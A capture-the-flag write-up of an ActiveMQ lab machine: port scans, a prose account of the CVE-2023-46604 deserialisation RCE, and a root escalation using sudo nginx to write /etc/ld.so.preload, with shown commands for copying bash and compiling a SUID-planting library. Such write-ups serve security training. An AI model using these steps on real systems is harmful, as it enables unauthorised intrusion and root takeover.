$ nmap -p- --min-rate 3000 10.129.39.87
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-09 02:11 EST
Nmap scan report for 10.129.39.87
Host is up (0.018s latency).
Not shown: 65526 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1883/tcp open mqtt
5672/tcp open amqp
8161/tcp open patrol-snmp
43739/tcp open unknown
61613/tcp open unknown
61614/tcp open unknown
61616/tcp open unknown
Did a detailed scan as well:
$ nmap -p 80,1883,5672,8161,43739 -sC -sV --min-rate 3000 10.129.39.87
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-09 02:12 EST
Nmap scan report for 10.129.39.87
Host is up (0.0068s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealm
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
1883/tcp open mqtt
| mqtt-subscribe:
| Topics and their most recent payloads:
|_ ActiveMQ/Advisory/Consumer/Topic/#:
5672/tcp open amqp?
|_amqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 65
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| AMQP
| AMQP
| amqp:decode-error
|_ 7Connection from client using unsupported AMQP attempted
8161/tcp open http Jetty 9.4.39.v20210325
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealm
|_http-title: Error 401 Unauthorized
|_http-server-header: Jetty(9.4.39.v20210325)
43739/tcp open tcpwrapped
ActiveMQ RCE
Port 80 had Apache ActiveMQ running:
Clicking on the Manage button brings us to the management dashboard:
This box was created to showcase the ActiveMQ RCE exploit (CVE-2023-46604). This vulnerability was given a CVSS rating of 10.0, which is quite rare. Ransomware groups are continuing to use this exploit to target organisations today.
Here's the breakdown of how the vulnerability works and the PoC:
This works because of unsafe deserialisation of data within the OpenWire protocol. In short, an attacker needs to connect to port 61616 and send an OpenWire packet with a specific data type (31).
The payload is created as a string of hex characters, and sent to port 61616. It uses a gadget from the Spring framework to load a remote XML file via HTTP, which can be used to spawn a process via ProcessBuilder.start.
I used the Python script from the Github repository to exploit it on this machine. The script provides us with a pseudoshell, which works:
From this, I can easily gain a reverse shell.
Privilege Escalation
Sudo Privileges -> Nginx Exploit
The user was allowed to run nginx with sudo:
activemq@broker:~$ sudo -l
Matching Defaults entries for activemq on broker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User activemq may run the following commands on broker:
(ALL : ALL) NOPASSWD: /usr/sbin/nginx
This means I can specify whatever configuration file and run nginx with it. This could allow us to read files as root, but getting a shell is better.
Here's the resource I used to exploit it:
The researcher explained this pretty well. So what I did was first create a nginx.conf file with the error_log variable declared.
priv in this case is just a copy of bash, which can be done using cp /bin/bash /tmp/priv. What this program does is make it a SUID binary. Compile it using gcc -fPIC -shared -ldl -o /tmp/exploit.so exploit.c. There will be a lot of errors, which can be ignored.
Lastly, run any SUID program as root, such as sudo -l to trigger the exploit and also generate a lot of logs:
activemq@broker:/tmp$ sudo -l
ERROR: ld.so: object '2023/12/09' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
<TRUNCATED>
Matching Defaults entries for activemq on broker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User activemq may run the following commands on broker:
(ALL : ALL) NOPASSWD: /usr/sbin/nginx
This causes the library to be executed, creating a SUID bash binary for escalation.
Rooted!
Additional Notes
This LPE was rather interesting now I know that running nginx allows for writing to a file via error_log. This exploit works because of the fact that ld.so.preload specifies all the ELF shared libraries to be loaded before others, and all it needs is a PATH to be written within it.
In our case, I wrote /tmp/exploit.so to it via causing errors with curl. This allowed for the library to be loaded as root when running sudo -l.
I was wondering if it was possible for users to upload files as root with the right nginx configurations, and turns out it is:
The above uses dav_methods to specify that PUT requests can be used, and I can even specify where the file goes. In this case, it seems that writing an authorized_keys folder for root is an alternate method.